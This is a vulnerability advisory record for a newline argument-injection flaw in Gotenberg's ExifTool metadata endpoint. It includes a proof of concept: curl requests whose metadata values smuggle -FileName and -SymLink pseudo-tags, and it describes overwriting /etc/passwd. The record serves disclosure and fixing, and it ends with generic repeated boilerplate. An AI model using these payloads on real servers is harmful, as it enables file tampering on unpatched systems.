{"id":"CVE-2026-40281","aliases":["GHSA-q7r4-hc83-hf2q","GO-2026-5572"],"url":"https://o3.security/vulnerability/CVE-2026-40281","summary":"Gotenberg vulnerable to argument injection via newlines in ExifTool metadata values","details":"## Vulnerability Details\n\n**CWE**: CWE-20 - Improper Input Validation\n\nThe metadata value sanitization introduced in v8.30.1 (commit 405f106) only validates metadata KEYS via safeKeyPattern regex. Metadata VALUES are passed unsanitized to go-exiftool SetString(), which writes them as fmt.Fprintln(e.stdin, \"-\"+k+\"=\"+str). A newline (\\n) in a value splits the ExifTool stdin line into two separate arguments, allowing injection of arbitrary ExifTool pseudo-tags such as -FileName, -Directory, -SymLink, -HardLink. Docker-verified: HTTP 404 returned (file moved), /tmp/inject_proof created in container. This is a bypass of the incomplete fix in v8.30.1.\n\n## Summary\n\nThe metadata write endpoint in v8.30.1 validates metadata **keys** for control characters (commit 405f106) but leaves metadata **values** unsanitized. go-exiftool's `WriteMetadata` sends each key/value pair to ExifTool's stdin as:\n\n```\nfmt.Fprintln(e.stdin, \"-\"+k+\"=\"+str)\n```\n\nA `\\n` character in `str` splits this into two separate stdin lines, injecting an arbitrary ExifTool pseudo-tag argument. The attacker controls what comes after the newline, enabling injection of `-FileName`, `-Directory`, `-SymLink`, `-HardLink`, and other dangerous pseudo-tags — the exact tags the key blocklist was designed to prevent.\n\n## Root Cause\n\n`pkg/modules/exiftool/exiftool.go` — `WriteMetadata()` function:\n\n```go\n// KEY validation added in v8.30.1 (commit 405f106)\nfor key := range metadata {\n    if !safeKeyPattern.MatchString(key) {  // ← only keys checked\n        return fmt.Errorf(...)\n    }\n}\n\n// VALUE passed through unsanitized:\ncase string:\n    fileMetadata[0].SetString(key, val)  // ← val may contain \\n\n```\n\ngo-exiftool (`barasher/go-exiftool`) then writes:\n\n```go\nfmt.Fprintln(e.stdin, \"-\"+k+\"=\"+str)\n// If str = \"test\\n-FileName=/tmp/inject_proof\"\n// ExifTool receives two lines:\n//   -Title=test\n//   -FileName=/tmp/inject_proof\n```\n\n## Steps to Reproduce\n\n```\n1. Start Gotenberg:\n   docker run --name gotenberg-test -p 3001:3000 gotenberg/gotenberg:8\n\n2. Create a test PDF:\n   curl -s -F 'files=@/dev/stdin;filename=index.html;type=text/html' \\\n     -o test.pdf http://localhost:3001/forms/chromium/convert/html \\\n     <<< '<html><body>test</body></html>'\n\n3. Inject -FileName via value newline:\n   curl -s -w \"\\nHTTP %{http_code}\" \\\n     -F 'files=@test.pdf;type=application/pdf' \\\n     -F 'metadata={\"Title\":\"test\\n-FileName=/tmp/inject_proof\"}' \\\n     http://localhost:3001/forms/pdfengines/metadata/write\n   # Returns HTTP 404 (file moved away from temp path)\n\n4. Verify injection inside container:\n   docker exec gotenberg-test ls -la /tmp/inject_proof\n   # -rw-r--r-- 1 root root ... /tmp/inject_proof  (PDF moved here)\n\n5. Symlink injection:\n   curl -s -w \"\\nHTTP %{http_code}\" \\\n     -F 'files=@test.pdf;type=application/pdf' \\\n     -F 'metadata={\"Title\":\"test\\n-SymLink=/tmp/sym_inject\"}' \\\n     http://localhost:3001/forms/pdfengines/metadata/write\n   docker exec gotenberg-test ls -la /tmp/sym_inject\n   # lrwxrwxrwx ... /tmp/sym_inject -> /tmp/.../source.pdf\n```\n\n## Impact\n\nAn unauthenticated attacker can:\n\n1. **Rename/move** any PDF being processed to an arbitrary path in the container filesystem (running as root by default)\n2. **Overwrite** arbitrary files — e.g., `-Directory=/etc/ -FileName=passwd` injects two lines, moving the PDF to `/etc/passwd`, corrupting the system user database\n3. **Create symlinks** at arbitrary paths via `-SymLink=`, enabling subsequent read/write primitives\n4. **Create hard links** via `-HardLink=`, persisting data beyond temp directory cleanup\n\nThis is a complete bypass of the key-sanitization fix introduced in v8.30.1 (commit 405f106). The fix validated the wrong side of the `=` sign.\n\n## Proposed Fix\n\nAdd value sanitization parallel to the existing key check in `WriteMetadata`:\n\n```go\nfor key, value := range metadata {\n    if !safeKeyPattern.MatchString(key) {\n        return fmt.Errorf(\"write PDF metadata with ExifTool: invalid metadata key %q\", key)\n    }\n    if str, ok := value.(string); ok {\n        if strings.ContainsAny(str, \"\\n\\r\\x00\") {\n            return fmt.Errorf(\"write PDF metadata with ExifTool: invalid value for key %q (contains control character)\", key)\n        }\n    }\n}\n```\n\nOr, apply the same `safeKeyPattern` logic to string values, or percent-encode newlines before passing to go-exiftool.\n\n### Vulnerable Code\n\n```go\n// See description for details\n```\n\n## Steps to Reproduce\n\n1. Set up the application using the default configuration\n2. See the vulnerability details above\n\n\n## Impact\n\nThis vulnerability may allow an attacker to compromise the application.","published":"2026-05-06T20:46:47.960Z","modified":"2026-08-12T03:51:33.200194483Z","cvss":{"score":10,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H"},"epss":{"score":0.00612,"percentile":0.46624,"asOf":"2026-08-19"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/gotenberg/gotenberg/v8","fixedVersion":"8.31.0"}],"fix":{"url":"https://github.com/gotenberg/gotenberg/commit/405f1069c026bb08f319fb5a44e5c67c33208318","label":"gotenberg/gotenberg@405f106"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/40xxx/CVE-2026-40281.json"},{"type":"ADVISORY","url":"https://github.com/gotenberg/gotenberg/security/advisories/GHSA-q7r4-hc83-hf2q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40281"},{"type":"FIX","url":"https://github.com/gotenberg/gotenberg/commit/405f1069c026bb08f319fb5a44e5c67c33208318"},{"type":"PACKAGE","url":"https://github.com/gotenberg/gotenberg"},{"type":"WEB","url":"https://github.com/gotenberg/gotenberg/releases/tag/v8.31.0"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:33.200194483Z"}}